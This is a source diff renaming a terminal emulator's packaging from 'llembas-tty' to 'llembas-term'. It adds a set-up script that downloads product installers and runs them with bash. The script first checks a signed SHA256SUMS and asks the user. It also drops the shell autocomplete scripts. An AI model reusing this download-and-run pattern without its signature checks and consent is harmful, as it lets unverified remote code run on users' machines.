[ "$("$CLI" --version)" = "$(tr -d '[:space:]' < llembas-cli.version)" ] \
|
||||
|| { echo "package: $CLI is not the version in llembas-cli.version" >&2; exit 1; }
|
||||
|
||||
work="$(mktemp -d)"
|
||||
trap 'rm -rf "${work:?}"' EXIT
|
||||
root="$work/root"
|
||||
|
||||
lib="$root/usr/lib/llembas-tty"
|
||||
share="$root/usr/share/llembas-tty"
|
||||
doc="$root/usr/share/doc/llembas-tty"
|
||||
lib="$root/usr/lib/llembas-term"
|
||||
share="$root/usr/share/llembas-term"
|
||||
doc="$root/usr/share/doc/llembas-term"
|
||||
install -d "$lib" "$root/usr/bin" "$share/shell" "$share/lua/llembas" "$doc"
|
||||
|
||||
for b in llembas-tty llembas-tty-gui llembas-tty-mux-server; do
|
||||
for b in llembas-term llembas-term-gui llembas-term-mux-server; do
|
||||
install -m755 -s "$REL/$b" "$lib/$b"
|
||||
ln -s "../lib/llembas-tty/$b" "$root/usr/bin/$b"
|
||||
ln -s "../lib/llembas-term/$b" "$root/usr/bin/$b"
|
||||
done
|
||||
# Not stripped: the CLI is a compiled bundle that carries its program after the executable.
|
||||
install -m755 "$CLI" "$lib/lembas"
|
||||
# No copy of the LLeMbas CLI or of LLeMbas IDE: each is its own installation, the same one used
|
||||
# outside this terminal. The set-up program installs what is missing, by their own installers.
|
||||
install -m755 llembas/setup/llembas-term-setup "$lib/llembas-term-setup"
|
||||
ln -s ../lib/llembas-term/llembas-term-setup "$root/usr/bin/llembas-term-setup"
|
||||
|
||||
install -m644 llembas/shell/llembas-tty.sh llembas/shell/autocomplete.bash llembas/shell/autocomplete.zsh "$share/shell/"
|
||||
install -m644 llembas/shell/llembas-term.sh "$share/shell/"
|
||||
install -m644 assets/shell-integration/wezterm.sh "$share/shell/wezterm.sh"
|
||||
install -m644 llembas/lua/default-config.lua "$share/lua/default-config.lua"
|
||||
install -m644 llembas/lua/llembas/init.lua llembas/lua/llembas/core.lua "$share/lua/llembas/"
|
||||
|
||||
install -Dm644 llembas/packaging/eu.llembas.tty.desktop "$root/usr/share/applications/eu.llembas.tty.desktop"
|
||||
install -Dm644 llembas/packaging/eu.llembas.tty.appdata.xml "$root/usr/share/metainfo/eu.llembas.tty.appdata.xml"
|
||||
install -Dm644 llembas/packaging/eu.llembas.term.desktop "$root/usr/share/applications/eu.llembas.term.desktop"
|
||||
install -Dm644 llembas/packaging/eu.llembas.term.appdata.xml "$root/usr/share/metainfo/eu.llembas.term.appdata.xml"
|
||||
for size in 128 256 512; do
|
||||
install -Dm644 "llembas/packaging/icons/eu.llembas.tty-$size.png" \
|
||||
"$root/usr/share/icons/hicolor/${size}x${size}/apps/eu.llembas.tty.png"
|
||||
install -Dm644 "llembas/packaging/icons/eu.llembas.term-$size.png" \
|
||||
"$root/usr/share/icons/hicolor/${size}x${size}/apps/eu.llembas.term.png"
|
||||
done
|
||||
install -Dm644 llembas/packaging/icons/eu.llembas.tty.svg "$root/usr/share/icons/hicolor/scalable/apps/eu.llembas.tty.svg"
|
||||
install -Dm644 llembas/packaging/icons/eu.llembas.term.svg "$root/usr/share/icons/hicolor/scalable/apps/eu.llembas.term.svg"
|
||||
|
||||
install -m644 LICENSE.md README.md CHANGELOG.md "$doc/"
|
||||
install -d "$doc/licenses"
|
||||
install -m644 licenses/* "$doc/licenses/"
|
||||
"$CLI" --licenses > "$doc/LICENSES-lembas.txt"
|
||||
chmod 644 "$doc/LICENSES-lembas.txt"
|
||||
[ -s "$doc/LICENSES-lembas.txt" ] || { echo "package: the CLI printed no licences" >&2; exit 1; }
|
||||
|
||||
mkdir -p "$OUT"
|
||||
|
||||
# The tarball: the tree as it is, to unpack anywhere (the binaries find each other and the CLI
|
||||
# by their own location; source usr/share/llembas-tty/shell/llembas-tty.sh from the shell's rc).
|
||||
name="llembas-tty-$VERSION-linux-$ARCH"
|
||||
# The tarball: the tree as it is, to unpack anywhere (the binaries find each other by their own location; source usr/share/llembas-term/shell/llembas-term.sh from the shell's rc).
|
||||
name="llembas-term-$VERSION-linux-$ARCH"
|
||||
cp -a "$root" "$work/$name"
|
||||
tar -C "$work" --owner=0 --group=0 --numeric-owner -cJf "$OUT/$name.tar.xz" "$name"
|
||||
|
||||
# The .deb. Debian sorts 1.0.0-beta.1 above 1.0.0 (what follows the dash is a revision), so a
|
||||
# beta's package says ~beta, which sorts below its release.
|
||||
debver="${VERSION/-/\~}"
|
||||
install -Dm644 llembas/packaging/profile.sh "$root/etc/profile.d/llembas-tty.sh"
|
||||
install -Dm644 llembas/packaging/profile.sh "$root/etc/profile.d/llembas-term.sh"
|
||||
install -d "$root/DEBIAN"
|
||||
mkdir -p "$work/shlibs/debian"
|
||||
: > "$work/shlibs/debian/control"
|
||||
depends="$(cd "$work/shlibs" && dpkg-shlibdeps -O -e "$lib/llembas-tty" -e "$lib/llembas-tty-gui" -e "$lib/llembas-tty-mux-server" 2>/dev/null | sed -n 's/^shlibs:Depends=//p')"
|
||||
depends="$(cd "$work/shlibs" && dpkg-shlibdeps -O -e "$lib/llembas-term" -e "$lib/llembas-term-gui" -e "$lib/llembas-term-mux-server" 2>/dev/null | sed -n 's/^shlibs:Depends=//p')"
|
||||
[ -n "$depends" ] || { echo "package: could not work out the library dependencies" >&2; exit 1; }
|
||||
# Up to 1.0.0-beta.5 the package was llembas-tty. Conflicts with Replaces is how a package takes
|
||||
# another's place whole (Debian Policy 7.6.2): installing this one removes that one first, and
|
||||
# Provides keeps the old name answered. Its files are all under names of its own, so nothing of
|
||||
# it is left but its /etc/profile.d file (a conffile, kept until purged), which does nothing.
|
||||
cat > "$root/DEBIAN/control" <<CONTROL
|
||||
Package: llembas-tty
|
||||
Package: llembas-term
|
||||
Version: $debver
|
||||
Architecture: $ARCH
|
||||
Maintainer: LLeMbas <houmeres@houmeres.sk>
|
||||
@@ -95,13 +93,19 @@ Section: utils
|
||||
Priority: optional
|
||||
Homepage: https://llembas.eu
|
||||
Depends: $depends
|
||||
Recommends: curl, openssh-client, git
|
||||
Replaces: llembas-tty
|
||||
Conflicts: llembas-tty
|
||||
Provides: llembas-tty
|
||||
Description: A terminal with LLeMbas built in
|
||||
LLeMbas TTY is a terminal emulator and multiplexer, a fork of WezTerm,
|
||||
LLeMbas TERM is a terminal emulator and multiplexer, a fork of WezTerm,
|
||||
with the LLeMbas agent built in. By default it is an ordinary terminal.
|
||||
It installs beside WezTerm and shares nothing with it.
|
||||
CONTROL
|
||||
echo "/etc/profile.d/llembas-tty.sh" > "$root/DEBIAN/conffiles"
|
||||
dpkg-deb --root-owner-group -b "$root" "$OUT/llembas-tty_${debver}_${ARCH}.deb" >/dev/null
|
||||
echo "/etc/profile.d/llembas-term.sh" > "$root/DEBIAN/conffiles"
|
||||
# The file is named by the version as written (a dash): a forge's upload turns ~ into a dot, and
|
||||
# SHA256SUMS would then name a file that is not there. The package's own Version keeps the ~.
|
||||
dpkg-deb --root-owner-group -b "$root" "$OUT/llembas-term_${VERSION}_${ARCH}.deb" >/dev/null
|
||||
base="${VERSION%%-*}"
|
||||
if [ "$VERSION" != "$base" ]; then
|
||||
dpkg --compare-versions "$debver" lt "$base" || { echo "package: $debver does not sort below $base" >&2; exit 1; }
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# shellcheck shell=sh
|
||||
# LLeMbas TTY: installed as /etc/profile.d/llembas-tty.sh. Does nothing outside LLeMbas TTY.
|
||||
if [ -n "${LLEMBAS_TTY-}" ] && [ -r /usr/share/llembas-tty/shell/llembas-tty.sh ]; then
|
||||
# LLeMbas TERM: installed as /etc/profile.d/llembas-term.sh. Does nothing outside LLeMbas TERM.
|
||||
if [ -n "${LLEMBAS_TERM-}" ] && [ -r /usr/share/llembas-term/shell/llembas-term.sh ]; then
|
||||
# shellcheck source=/dev/null
|
||||
. /usr/share/llembas-tty/shell/llembas-tty.sh
|
||||
. /usr/share/llembas-term/shell/llembas-term.sh
|
||||
fi
|
||||
Executable
+257
@@ -0,0 +1,257 @@
|
||||
#!/usr/bin/env bash
|
||||
# LLeMbas TERM's set-up: install what is missing of the LLeMbas family beside the terminal —
|
||||
# the LLeMbas CLI (`lembas`) and LLeMbas IDE (`llembas-ide`) — each as its own installation,
|
||||
# the same one you use outside this terminal. The terminal carries no copy of either.
|
||||
#
|
||||
# llembas-term-setup [--yes] [--dry-run] [--channel stable|beta] [--no-cli] [--no-ide]
|
||||
#
|
||||
# For each one that is not installed it says what it would do and asks. What it then runs is
|
||||
# that product's own installer, from that product's own release, and only after checking it:
|
||||
# the release's SHA256SUMS must be signed with the LLeMbas release key, and the installer must
|
||||
# match SHA256SUMS; a SHA256SUMS that names its product and version (a first line
|
||||
# `# <product> <version>`) must name the release that was asked for. It refuses to run as root
|
||||
# (everything goes into your own home); nothing that is already installed is touched (each
|
||||
# product updates itself: `lembas update`, `llembas-ide update`).
|
||||
#
|
||||
# It changes no file of yours. When ~/.zshrc or ~/.bashrc still has the shell integration's line
|
||||
# from the terminal's earlier name (LLeMbas TTY), it prints the line to put there instead.
|
||||
#
|
||||
# Environment (for a mirror or a build of your own):
|
||||
# LLEMBAS_SETUP_FORGE where the releases are (default https://github.com)
|
||||
# LLEMBAS_SETUP_API its releases API (default https://api.github.com)
|
||||
# LLEMBAS_SETUP_PUBKEY the ssh-ed25519 key SHA256SUMS.sig must be signed with
|
||||
set -euo pipefail
|
||||
|
||||
FORGE="${LLEMBAS_SETUP_FORGE:-https://github.com}"
|
||||
API="${LLEMBAS_SETUP_API:-https://api.github.com}"
|
||||
PUBKEY="${LLEMBAS_SETUP_PUBKEY:-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSZO3Byow7R3ZpOH3MCvpPIga2pZBzhfX5wXfNP1cLa}"
|
||||
NAMESPACE=lembas-release
|
||||
CLI_SLUG=LLeMbas/LLeMbas-CLI
|
||||
IDE_SLUG=LLeMbas/LLeMbas-IDE
|
||||
|
||||
YES=0
|
||||
DRY=0
|
||||
WANT_CLI=1
|
||||
WANT_IDE=1
|
||||
CHANNEL=""
|
||||
TMP=""
|
||||
|
||||
say() { printf '%s\n' "$*"; }
|
||||
note() { printf ' %s\n' "$*"; }
|
||||
warn() { printf 'llembas-term-setup: %s\n' "$*" >&2; }
|
||||
die() {
|
||||
warn "$*"
|
||||
exit 1
|
||||
}
|
||||
|
||||
cleanup() {
|
||||
local status=$?
|
||||
trap - EXIT
|
||||
[ -z "$TMP" ] || rm -rf "$TMP"
|
||||
exit "$status"
|
||||
}
|
||||
|
||||
# Started by the terminal in a pane of its own, the pane closes with this program: wait for a
|
||||
# key first, so that what was said can be read.
|
||||
pause() {
|
||||
[ -n "${LLEMBAS_TERM_PANE:-}" ] && [ "$YES" != 1 ] && [ -r /dev/tty ] || return 0
|
||||
printf '\nPress Enter to close. ' >/dev/tty
|
||||
read -r _ </dev/tty || true
|
||||
}
|
||||
|
||||
# The channel of this terminal unless one was named: a beta terminal installs betas.
|
||||
channel() {
|
||||
if [ -n "$CHANNEL" ]; then
|
||||
printf '%s' "$CHANNEL"
|
||||
return
|
||||
fi
|
||||
case "${LLEMBAS_TERM:-}" in *-*) printf beta ;; *) printf stable ;; esac
|
||||
}
|
||||
|
||||
# A program on PATH, or where both installers put theirs.
|
||||
have() {
|
||||
command -v "$1" 2>/dev/null && return 0
|
||||
[ -x "$HOME/.local/bin/$1" ] && printf '%s\n' "$HOME/.local/bin/$1" && return 0
|
||||
return 1
|
||||
}
|
||||
|
||||
ask() { # question; answers yes with --yes, no where nobody can answer
|
||||
[ "$YES" = 1 ] && return 0
|
||||
[ -r /dev/tty ] || return 1
|
||||
local answer
|
||||
printf '%s [Y/n] ' "$1" >/dev/tty
|
||||
read -r answer </dev/tty || return 1
|
||||
case "$answer" in "" | y | Y | yes | Yes) return 0 ;; *) return 1 ;; esac
|
||||
}
|
||||
|
||||
fetch() { # url, file — https only, or a file on this machine
|
||||
case "$1" in
|
||||
https://* | file:///*) ;;
|
||||
*) die "refusing to download $1: only https:// (or a local file://) is used" ;;
|
||||
esac
|
||||
curl -fsSL --retry 2 --proto '=https,file' --proto-redir '=https' -o "$2" "$1"
|
||||
}
|
||||
|
||||
# The newest release tag of a repository on a channel: vX.Y.Z, and on beta also vX.Y.Z-beta.N.
|
||||
newest() { # slug, channel
|
||||
local slug="$1" chan="$2" list="$TMP/releases.json" tag url
|
||||
url="$API/repos/$slug/releases"
|
||||
# A listing kept as a file (a mirror on this machine) has no query to answer.
|
||||
case "$API" in file://*) ;; *) url="$url?per_page=50" ;; esac
|
||||
fetch "$url" "$list" 2>/dev/null || return 1
|
||||
# One "tag_name" a release, newest first; a draft has none that is published.
|
||||
while IFS= read -r tag; do
|
||||
case "$chan" in
|
||||
beta) [[ "$tag" =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-beta\.[0-9]+)?$ ]] && printf '%s' "$tag" && return 0 ;;
|
||||
*) [[ "$tag" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]] && printf '%s' "$tag" && return 0 ;;
|
||||
esac
|
||||
done < <(grep -o '"tag_name"[[:space:]]*:[[:space:]]*"[^"]*"' "$list" | sed -E 's/.*"([^"]*)"$/\1/')
|
||||
return 1
|
||||
}
|
||||
|
||||
# A release's installer, checked: SHA256SUMS signed by the release key, naming this release
|
||||
# where it names one, and the installer in it.
|
||||
checked_installer() { # slug, tag, installer file name, product -> path of the checked file
|
||||
local slug="$1" tag="$2" name="$3" product="$4" dir base head
|
||||
dir="$TMP/$(printf '%s' "$slug-$tag" | tr '/' '-')"
|
||||
base="$FORGE/$slug/releases/download/$tag"
|
||||
mkdir -p "$dir"
|
||||
command -v ssh-keygen >/dev/null 2>&1 || die "needs ssh-keygen (openssh-client): it checks the release's signature"
|
||||
command -v sha256sum >/dev/null 2>&1 || die "needs sha256sum: it checks what was downloaded"
|
||||
fetch "$base/SHA256SUMS" "$dir/SHA256SUMS" || die "could not download SHA256SUMS of $slug $tag — nothing installed"
|
||||
fetch "$base/SHA256SUMS.sig" "$dir/SHA256SUMS.sig" 2>/dev/null || die "$slug $tag is not signed (no SHA256SUMS.sig) — nothing installed"
|
||||
fetch "$base/$name" "$dir/$name" || die "could not download $name of $slug $tag — nothing installed"
|
||||
printf '%s %s\n' "$NAMESPACE" "$PUBKEY" >"$dir/allowed"
|
||||
ssh-keygen -Y verify -f "$dir/allowed" -I "$NAMESPACE" -n "$NAMESPACE" -s "$dir/SHA256SUMS.sig" <"$dir/SHA256SUMS" >/dev/null 2>&1 ||
|
||||
die "SHA256SUMS of $slug $tag is not signed by the LLeMbas release key — nothing installed"
|
||||
# The signature says who made the sums, not which release they are of: a listing that
|
||||
# answered with an older signed release under the newest tag would pass it. A first line
|
||||
# that names the product and version binds them to the tag asked for.
|
||||
head="$(head -n1 "$dir/SHA256SUMS")"
|
||||
case "$head" in
|
||||
'#'*)
|
||||
[ "$head" = "# $product ${tag#v}" ] ||
|
||||
die "SHA256SUMS of $slug $tag is of another release (it says: ${head#\# }) — nothing installed"
|
||||
;;
|
||||
*) warn "($slug $tag: its SHA256SUMS does not name its release; the signature is checked)" ;;
|
||||
esac
|
||||
(cd "$dir" && grep -E "^[0-9a-f]{64} \*?$name\$" SHA256SUMS | sed 's/ \*/ /' | sha256sum -c --strict --quiet - >/dev/null 2>&1) ||
|
||||
die "$name of $slug $tag does not match its SHA256SUMS — nothing installed"
|
||||
printf '%s' "$dir/$name"
|
||||
}
|
||||
|
||||
setup_cli() {
|
||||
local at tag chan installer
|
||||
if at="$(have lembas)"; then
|
||||
note "the LLeMbas CLI is installed: $at ($("$at" --version 2>/dev/null | head -n1 || echo "version unknown"))"
|
||||
return 0
|
||||
fi
|
||||
chan="$(channel)"
|
||||
say "The LLeMbas CLI (lembas) is not installed."
|
||||
if [ "$DRY" = 1 ]; then
|
||||
note "would find the newest $chan release of $CLI_SLUG, check its get.sh against the release key, and run it"
|
||||
note "it installs for this user only, into ~/.local/bin and ~/.local/share/lembas"
|
||||
return 0
|
||||
fi
|
||||
ask "Install it now, for this user only?" || {
|
||||
note "not installed"
|
||||
return 0
|
||||
}
|
||||
tag="$(newest "$CLI_SLUG" "$chan")" || die "no $chan release of $CLI_SLUG was found (is this machine online?) — nothing installed"
|
||||
installer="$(checked_installer "$CLI_SLUG" "$tag" get.sh lembas)"
|
||||
note "LLeMbas CLI $tag: signature good, installing"
|
||||
LEMBAS_REF="$tag" LEMBAS_CHANNEL="$chan" bash "$installer" || die "the LLeMbas CLI's installer stopped — see above"
|
||||
}
|
||||
|
||||
setup_ide() {
|
||||
local at tag chan installer
|
||||
if at="$(have llembas-ide)"; then
|
||||
note "LLeMbas IDE is installed: $at"
|
||||
return 0
|
||||
fi
|
||||
chan="$(channel)"
|
||||
say "LLeMbas IDE (llembas-ide, the editor) is not installed."
|
||||
if [ "$DRY" = 1 ]; then
|
||||
note "would find the newest $chan release of $IDE_SLUG, check its install.sh against the release key, and run it"
|
||||
note "it installs for this user only, under its own name: your own Neovim is not touched"
|
||||
return 0
|
||||
fi
|
||||
ask "Install it now, for this user only?" || {
|
||||
note "not installed"
|
||||
return 0
|
||||
}
|
||||
tag="$(newest "$IDE_SLUG" "$chan")" || die "no $chan release of $IDE_SLUG was found (is this machine online?) — nothing installed"
|
||||
installer="$(checked_installer "$IDE_SLUG" "$tag" install.sh llembas-ide)"
|
||||
note "LLeMbas IDE $tag: signature good, installing"
|
||||
# --no-cli: the CLI is this program's own step above.
|
||||
bash "$installer" --version "${tag#v}" --channel "$chan" --no-cli --yes || die "LLeMbas IDE's installer stopped — see above"
|
||||
}
|
||||
|
||||
# The terminal was LLeMbas TTY up to 1.0.0-beta.5, and its README gave a line for ~/.zshrc (or
|
||||
# ~/.bashrc) that sources a file which is no longer there, behind a variable that is no longer
|
||||
# set: it does nothing now. Say so, with the line that replaces it. The files are only read.
|
||||
old_rc_line() {
|
||||
local rc here file=/usr/share/llembas-term/shell/llembas-term.sh
|
||||
here="$(cd "$(dirname "$(readlink -f "$0" 2>/dev/null || printf '%s' "$0")")" 2>/dev/null && pwd)" || here=""
|
||||
# unpacked from the tarball: the integration is beside the programs, not under /usr
|
||||
if [ -n "$here" ] && [ -r "$here/../../share/llembas-term/shell/llembas-term.sh" ]; then
|
||||
file="$(cd "$here/../../share/llembas-term/shell" && pwd)/llembas-term.sh"
|
||||
fi
|
||||
for rc in "$HOME/.zshrc" "$HOME/.bashrc"; do
|
||||
[ -r "$rc" ] || continue
|
||||
grep -q 'llembas-tty' "$rc" 2>/dev/null || continue
|
||||
say ""
|
||||
say "$rc still has the shell integration's line from the terminal's old name (LLeMbas TTY)."
|
||||
say "It does nothing any more. Replace it with this one (this program does not change your files):"
|
||||
# shellcheck disable=SC2016 # said to the person as they would write it
|
||||
say ' [ -n "$LLEMBAS_TERM" ] && . '"$file"
|
||||
done
|
||||
}
|
||||
|
||||
main() {
|
||||
trap cleanup EXIT
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--yes) YES=1 ;;
|
||||
--dry-run) DRY=1 ;;
|
||||
--no-cli) WANT_CLI=0 ;;
|
||||
--no-ide) WANT_IDE=0 ;;
|
||||
--channel)
|
||||
CHANNEL="${2:?--channel needs stable or beta}"
|
||||
shift
|
||||
;;
|
||||
-h | --help)
|
||||
sed -n '2,14p' "$0" | sed 's/^# \{0,1\}//'
|
||||
return 0
|
||||
;;
|
||||
*) die "unknown option $1 (see --help)" ;;
|
||||
esac
|
||||
shift
|
||||
done
|
||||
case "$(channel)" in stable | beta) ;; *) die "--channel is stable or beta" ;; esac
|
||||
# everything is installed into your own home, and installers are run: never as root
|
||||
[ "$(id -u)" != 0 ] || die "run it as yourself, not as root: it installs for your own user only"
|
||||
|
||||
[ "$DRY" = 1 ] || TMP="$(mktemp -d)"
|
||||
|
||||
say "LLeMbas TERM set-up ($(channel) releases)"
|
||||
[ "$WANT_CLI" != 1 ] || setup_cli
|
||||
[ "$WANT_IDE" != 1 ] || setup_ide
|
||||
old_rc_line
|
||||
|
||||
if [ "$DRY" != 1 ]; then
|
||||
say ""
|
||||
if have lembas >/dev/null; then
|
||||
say "To use LLeMbas, log in to your server once: lembas login <address of your server>"
|
||||
say "(or the command palette entry \"LLeMbas: log in\")."
|
||||
fi
|
||||
# shellcheck disable=SC2088,SC2016 # said to the person as they would type it
|
||||
case ":$PATH:" in
|
||||
*":$HOME/.local/bin:"*) ;;
|
||||
*) [ ! -d "$HOME/.local/bin" ] || say '~/.local/bin is not on your PATH: the terminal finds both programs there anyway; for your shell add export PATH="$HOME/.local/bin:$PATH"' ;;
|
||||
esac
|
||||
fi
|
||||
pause
|
||||
}
|
||||
|
||||
main "$@"
|
||||
@@ -1,43 +0,0 @@
|
||||
# shellcheck shell=bash
|
||||
# LLeMbas TTY: prompt autocomplete for bash, on demand.
|
||||
#
|
||||
# bash cannot draw a suggestion after the cursor, so this is a key: press it
|
||||
# and the rest of the line is asked from LLeMbas and put on the line. Nothing
|
||||
# runs: you still press Enter yourself.
|
||||
#
|
||||
# key: Ctrl+X Ctrl+A (set LLEMBAS_TTY_AUTOCOMPLETE_KEY to a readline key
|
||||
# sequence before this file is sourced to change it)
|
||||
#
|
||||
# Active only inside LLeMbas TTY. Loaded by llembas-tty.sh when autocomplete is
|
||||
# on, or source this file yourself. The line so far goes to
|
||||
# `lembas complete --shell bash` on stdin; nothing is sent for an empty line,
|
||||
# for a line that starts with a space, or when the cursor is not at the end.
|
||||
|
||||
if [ -z "${LLEMBAS_TTY-}" ] || [ -z "${BASH_VERSION-}" ]; then
|
||||
return 0
|
||||
fi
|
||||
case "$-" in
|
||||
*i*) ;;
|
||||
*) return 0 ;;
|
||||
esac
|
||||
|
||||
__llembas_complete_line() {
|
||||
local line="$READLINE_LINE" rest cli="${LLEMBAS_TTY_CLI:-lembas}"
|
||||
[ -n "$line" ] || return 0
|
||||
case "$line" in
|
||||
' '* | *$'\n'*) return 0 ;;
|
||||
esac
|
||||
[ "$READLINE_POINT" -eq "${#line}" ] || return 0
|
||||
[ "${#line}" -le 2000 ] || return 0
|
||||
command -v "$cli" >/dev/null 2>&1 || return 0
|
||||
rest="$(printf '%s' "$line" | "$cli" complete --shell bash --cwd "$PWD" --timeout-ms 2500 2>/dev/null)" || return 0
|
||||
# What comes back is a model's text: one line, no control characters, not endless.
|
||||
rest="${rest%%$'\n'*}"
|
||||
rest="${rest//[[:cntrl:]]/}"
|
||||
rest="${rest:0:500}"
|
||||
[ -n "$rest" ] || return 0
|
||||
READLINE_LINE="$line$rest"
|
||||
READLINE_POINT="${#READLINE_LINE}"
|
||||
}
|
||||
|
||||
bind -x "\"${LLEMBAS_TTY_AUTOCOMPLETE_KEY:-\\C-x\\C-a}\": __llembas_complete_line"
|
||||
@@ -1,154 +0,0 @@
|
||||
# LLeMbas TTY: prompt autocomplete for zsh, as ghost text.
|
||||
#
|
||||
# While you type, the rest of the line is asked from LLeMbas
|
||||
# (`lembas complete --shell zsh`, the line so far on stdin) and shown dimmed
|
||||
# after the cursor. Right arrow or End takes it; any other key drops it.
|
||||
# Nothing runs: you still press Enter yourself.
|
||||
#
|
||||
# Active only inside LLeMbas TTY. Loaded by llembas-tty.sh when autocomplete is
|
||||
# on (LLEMBAS_TTY_AUTOCOMPLETE=1), or source this file yourself.
|
||||
#
|
||||
# Nothing is sent: for an empty line, for a line that starts with a space, for
|
||||
# a line of several lines, when the cursor is not at the end, or before you
|
||||
# have paused typing (LLEMBAS_TTY_AUTOCOMPLETE_DELAY, hundredths of a second,
|
||||
# default 35). A request still running when you type again is stopped.
|
||||
#
|
||||
# The request runs beside the line editor (a process substitution watched
|
||||
# with `zle -F`), so typing never waits for it.
|
||||
|
||||
[[ -n ${LLEMBAS_TTY-} && -n ${ZSH_VERSION-} && -o interactive ]] || return 0
|
||||
(( ${+__llembas_ac_loaded} )) && return 0
|
||||
typeset -g __llembas_ac_loaded=1
|
||||
|
||||
zmodload zsh/system 2>/dev/null || return 0
|
||||
zmodload zsh/zselect 2>/dev/null || return 0
|
||||
autoload -Uz add-zle-hook-widget add-zsh-hook 2>/dev/null || return 0
|
||||
|
||||
typeset -g __llembas_ac_fd= __llembas_ac_pid= __llembas_ac_for= __llembas_ac_seen=
|
||||
typeset -g __llembas_ac_text= __llembas_ac_hl= __llembas_ac_off=
|
||||
|
||||
__llembas_ac_stop() {
|
||||
if [[ -n $__llembas_ac_fd ]]; then
|
||||
zle -F $__llembas_ac_fd 2>/dev/null
|
||||
exec {__llembas_ac_fd}<&-
|
||||
__llembas_ac_fd=
|
||||
fi
|
||||
if [[ -n $__llembas_ac_pid ]]; then
|
||||
kill -TERM $__llembas_ac_pid 2>/dev/null
|
||||
__llembas_ac_pid=
|
||||
fi
|
||||
}
|
||||
|
||||
__llembas_ac_clear() {
|
||||
if [[ -n $__llembas_ac_text ]]; then
|
||||
POSTDISPLAY=
|
||||
__llembas_ac_text=
|
||||
fi
|
||||
if [[ -n $__llembas_ac_hl ]]; then
|
||||
region_highlight=("${(@)region_highlight:#$__llembas_ac_hl}")
|
||||
__llembas_ac_hl=
|
||||
fi
|
||||
}
|
||||
|
||||
__llembas_ac_request() {
|
||||
__llembas_ac_stop
|
||||
[[ -z $__llembas_ac_off ]] || return 0
|
||||
local line=$BUFFER cli=${LLEMBAS_TTY_CLI:-lembas}
|
||||
[[ -n $line && $line != ' '* && $line != *$'\n'* ]] || return 0
|
||||
(( CURSOR == ${#line} && ${#line} <= 2000 )) || return 0
|
||||
(( ${+commands[$cli]} )) || [[ -x $cli ]] || return 0
|
||||
|
||||
__llembas_ac_for=$line
|
||||
local delay=${LLEMBAS_TTY_AUTOCOMPLETE_DELAY:-35} dir=$PWD
|
||||
exec {__llembas_ac_fd}< <(
|
||||
# our process id first, so that the request can be stopped
|
||||
print -r -- $sysparams[pid]
|
||||
# wait for a pause in the typing; a keystroke stops us here
|
||||
zselect -t $delay
|
||||
exec $cli complete --shell zsh --cwd $dir --timeout-ms 2500 2>/dev/null < <(print -rn -- $line)
|
||||
)
|
||||
# (as zsh-autosuggestions found: without a fork here, Ctrl+C can stop working)
|
||||
command true
|
||||
IFS= read -r -u $__llembas_ac_fd __llembas_ac_pid
|
||||
zle -F $__llembas_ac_fd __llembas_ac_ready
|
||||
}
|
||||
|
||||
__llembas_ac_ready() {
|
||||
local fd=$1 rest=
|
||||
if [[ -z ${2-} || ${2-} == hup ]]; then
|
||||
IFS= read -r -u $fd rest
|
||||
fi
|
||||
zle -F $fd 2>/dev/null
|
||||
exec {fd}<&-
|
||||
__llembas_ac_fd= __llembas_ac_pid=
|
||||
|
||||
# The line editor's variables can only be changed from a widget.
|
||||
zle __llembas_ac_show -- "$rest"
|
||||
}
|
||||
|
||||
__llembas_ac_show() {
|
||||
local rest=${1-}
|
||||
# only for the line it was asked for, still unchanged
|
||||
[[ $BUFFER == $__llembas_ac_for ]] && (( CURSOR == ${#BUFFER} )) || return 0
|
||||
# what came back is a model's text: one line, no control characters, not endless
|
||||
rest=${rest//[[:cntrl:]]/}
|
||||
rest=${rest[1,500]}
|
||||
[[ -n $rest ]] || return 0
|
||||
|
||||
__llembas_ac_text=$rest
|
||||
POSTDISPLAY=$rest
|
||||
__llembas_ac_hl="${#BUFFER} $(( ${#BUFFER} + ${#POSTDISPLAY} )) ${LLEMBAS_TTY_AUTOCOMPLETE_STYLE:-fg=8}"
|
||||
region_highlight+=("$__llembas_ac_hl")
|
||||
zle -R
|
||||
}
|
||||
|
||||
# Before each redraw: when the line changed, the suggestion is for another
|
||||
# line. Drop it and ask again.
|
||||
__llembas_ac_redraw() {
|
||||
[[ $BUFFER == $__llembas_ac_seen ]] && return 0
|
||||
__llembas_ac_seen=$BUFFER
|
||||
__llembas_ac_clear
|
||||
__llembas_ac_request
|
||||
}
|
||||
|
||||
__llembas_ac_finish() {
|
||||
__llembas_ac_stop
|
||||
__llembas_ac_clear
|
||||
__llembas_ac_seen=
|
||||
}
|
||||
|
||||
__llembas_ac_take() {
|
||||
if [[ -n $__llembas_ac_text ]] && (( CURSOR == ${#BUFFER} )); then
|
||||
local text=$__llembas_ac_text
|
||||
__llembas_ac_clear
|
||||
BUFFER+=$text
|
||||
CURSOR=${#BUFFER}
|
||||
return 0
|
||||
fi
|
||||
return 1
|
||||
}
|
||||
|
||||
__llembas_ac_forward_char() {
|
||||
__llembas_ac_take || zle .forward-char
|
||||
}
|
||||
|
||||
__llembas_ac_end_of_line() {
|
||||
__llembas_ac_take || zle .end-of-line
|
||||
}
|
||||
|
||||
# zsh-autosuggestions draws in the same place. With it loaded, ours stays off
|
||||
# unless asked for by name (LLEMBAS_TTY_AUTOCOMPLETE_FORCE=1).
|
||||
__llembas_ac_check() {
|
||||
add-zsh-hook -d precmd __llembas_ac_check
|
||||
if (( ${+functions[_zsh_autosuggest_start]} )) && [[ ${LLEMBAS_TTY_AUTOCOMPLETE_FORCE-} != 1 ]]; then
|
||||
__llembas_ac_off=1
|
||||
print -u2 -r -- "llembas-tty: prompt autocomplete is off because zsh-autosuggestions is loaded (set LLEMBAS_TTY_AUTOCOMPLETE_FORCE=1 to use both)"
|
||||
fi
|
||||
}
|
||||
|
||||
zle -N __llembas_ac_show
|
||||
zle -N forward-char __llembas_ac_forward_char
|
||||
zle -N end-of-line __llembas_ac_end_of_line
|
||||
add-zle-hook-widget line-pre-redraw __llembas_ac_redraw
|
||||
add-zle-hook-widget line-finish __llembas_ac_finish
|
||||
add-zsh-hook precmd __llembas_ac_check
|
||||
@@ -0,0 +1,203 @@
|
||||
# shellcheck shell=bash
|
||||
# LLeMbas TERM: shell integration for bash and zsh.
|
||||
#
|
||||
# Sourced from /etc/profile.d by the package; or source it from ~/.bashrc or
|
||||
